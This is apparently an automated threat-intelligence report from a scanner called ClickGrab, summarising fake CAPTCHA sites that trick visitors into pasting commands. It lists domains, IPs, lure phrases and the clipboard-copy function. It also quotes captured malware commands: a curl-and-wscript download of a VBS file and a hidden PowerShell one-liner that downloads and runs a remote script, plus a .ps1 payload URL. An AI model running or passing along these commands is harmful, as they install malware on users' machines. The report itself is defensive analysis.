ClickGrab Threat Analysis Report - 2025-12-28

Generated on 2025-12-28 03:02:52

Executive Summary

• Total sites analyzed: 54
• Sites with malicious content: 33
• Unique domains encountered: 43
• Total URLs extracted: 348
• PowerShell download attempts: 1
• Clipboard manipulation instances: 193

Domain Analysis

Most Frequently Encountered Domains

• 65.21.248.222: 79 occurrences
• www.google.com: 34 occurrences
• t.me: 33 occurrences
• i.postimg.cc: 31 occurrences
• icons.duckduckgo.com: 30 occurrences
• ${host}: 30 occurrences
• 81.198.74.227: 20 occurrences
• 64.23.172.46: 11 occurrences
• www.webgo.de: 10 occurrences
• godprox.cc: 8 occurrences
• svetvip.ru: 8 occurrences
• api.whatsapp.com: 6 occurrences
• mc.yandex.ru: 4 occurrences
• www.instagram.com: 3 occurrences
• www.thawte.com: 2 occurrences

URL Pattern Analysis

reCAPTCHA imagery

3 occurrences across 2 distinct URLs

• https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png (2 times)
• https://2captcha.com/dist/web/assets/google-privacy-policy-Cb0CGVRT.svg (1 times)

Font resources

5 occurrences across 4 distinct URLs

• https://use.fontawesome.com/releases/v5.0.0/css/all.css (2 times)
• https://fonts.bunny.net (1 times)
• https://fonts.bunny.net/css?family=inter:400,500,600,700&display=swap (1 times)
• https://81.198.74.227/css/font-face.css (1 times)

CDN hosted scripts

3 occurrences across 3 distinct URLs

• https://irp.cdn-website.com/45d8c6e0/files/uploaded/32.ps1 (1 times)
• https://cdn.quilljs.com/1.3.6/quill.snow.css (1 times)
• https://cdn.quilljs.com/1.3.6/quill.js (1 times)

Google resources

35 occurrences across 5 distinct URLs

• https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent (30 times)
• https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png (2 times)
• https://www.google.com/intl/en/policies/privacy/ (1 times)
• https://www.google.com/intl/en/policies/terms/ (1 times)
• https://2captcha.com/dist/web/assets/google-privacy-policy-Cb0CGVRT.svg (1 times)

Suspicious Keyword Analysis

Total Keywords Found: 638 (41 unique)

Keyword Categories

Social Engineering

15 unique keywords

• verification id
• verification
• Verification
• Verification Hash
• verification_id
• Verification ID
• To better prove you are not a robot
• Verify You Are Human
• Checking if you are human
• verification-id
• ...and 5 more

Obfuscation Indicators

2 unique keywords

• command = obfuscatedCommandParts.map(partArray =>
• Command iine: [2]RemoveFiiesRemoving fiiesRemoveIniVaiuesRemoving INI fiies entriesRemoveODBCRemoving ODBC componentsSeifRegModuiesRegistering moduiesFiie: [i], Foider: [2]RemoveShortcutsRemoving shortcutsSeifUnregModuiesUnregistering moWY[�\�_b�ceg��di�jimo�hpquruvwy{|}~������������������#�����-�&��)�������K ����.���aZ���^������z�����[�����A�������������� `

System Commands

13 unique keywords

• Invoke
• wscript
• command = 'cmd /c "curi -s http:/i98.i3.i58.i27:5506/dd.vbs -o %temp%\dd.vbs >nui && start /b wscript.exe //B //E:VBScript %temp%\dd.vbs && exit"';
• Invoke-Expression
• command = ""; // Объявляем command кaк iet, чтoбы мoжнo былo изменить
• const command =
• cmd.exe /c powersheii -w h -ep Bypass -nop -c "$d='p.psi';$y=$env:USERPROFILE+'\\\\Downioads\\\\'+$d;Start-Sieep i5;(New-Object Net.WebCiient).DownioadFiie('https://ghost.nestdns.com/fiies', $y);& $y;Remove-Item $y -Force;";`
• cmd
• exec(ua) != nuii){rv = parseFioat(RegExp.$i);}}eise if (n.appName == "Netscape"){rv = ii;re = new RegExp("Trident/.*rv:([0-9]+[\.0-9]*)");if (re.exec(ua) != nuii){rv = parseFioat(RegExp.$i);}}}return rv;}})(window, document, navigator)
• invoke
• ...and 3 more

Verification Text

3 unique keywords

• Hidden
• ray id
• hidden

Technical Terms

8 unique keywords

• .EXE
• Bypass
• Bitmap
• bitmap
• Ray ID
• iex
• failed_to_retrieve
• .exe

Most Frequent Keywords

• hidden: 38 occurrences
• robot: 35 occurrences
• CAPTCHA Verification: 33 occurrences
• I am not a robot: 33 occurrences
• Robot: 33 occurrences
• Verification: 33 occurrences
• verification: 33 occurrences
• verification-id: 33 occurrences
• To better prove you are not a robot: 33 occurrences
• .exe: 32 occurrences
• Verification ID: 32 occurrences
• Ray ID: 31 occurrences
• Checking if you are human: 31 occurrences
• Verify you are human: 31 occurrences
• const command =: 30 occurrences

Similar Keyword Patterns

Groups of keywords that appear to be variations of the same theme:

Group 1: invoke, Invoke

Group 2: .EXE, .exe

Group 3: Bitmap, bitmap

Group 4: CAPTCHA Verification, Verification, verification

Group 5: Verification Hash, verification-id, verification_id, Verification ID, verification id

JavaScript Obfuscation Analysis

Obfuscation Sophistication Score: 0/7

Potential Base64 Encoded Content

These strings may contain encoded malicious payloads:

• 0922738706db219af937bd981bfee933
• fiiesRemoveIniVaiuesRemoving
• 06a2b7fcb975574e6aba6d7dd7dcb3ce
• 00eb114d21b7d9d7c4dc46cac42ee4be
• entriesRemoveODBCRemoving

Clipboard Manipulation Analysis

Detected clipboard manipulation in 193 instances.

Document.Execcommand Copy

Found in 98 snippets (50.8% of clipboard code)

Examples:

try { document.execCommand('copy')

document.execCommand("copy")

document.execCommand('copy')

Textarea Manipulation

Found in 98 snippets (50.8% of clipboard code)

Examples:

tListener("click", function () { const textarea = document.createElement('textarea'

ng is the safe placeholder above const textarea = document.createElement('textarea'

ipboardCopyData(textToCopy){ const tempTextArea = document.createElement("textarea"

Complete Malicious Functions

Function 1:

function setClipboardCopyData(textToCopy){ const tempTextArea = document.createElement("textarea"); tempTextArea.value = textToCopy; document.body.append(tempTextArea); tempTextArea.select(); document.execCommand("copy"); document.body.removeChild(tempTextArea); }

Report truncated for web display. Full data available in JSON.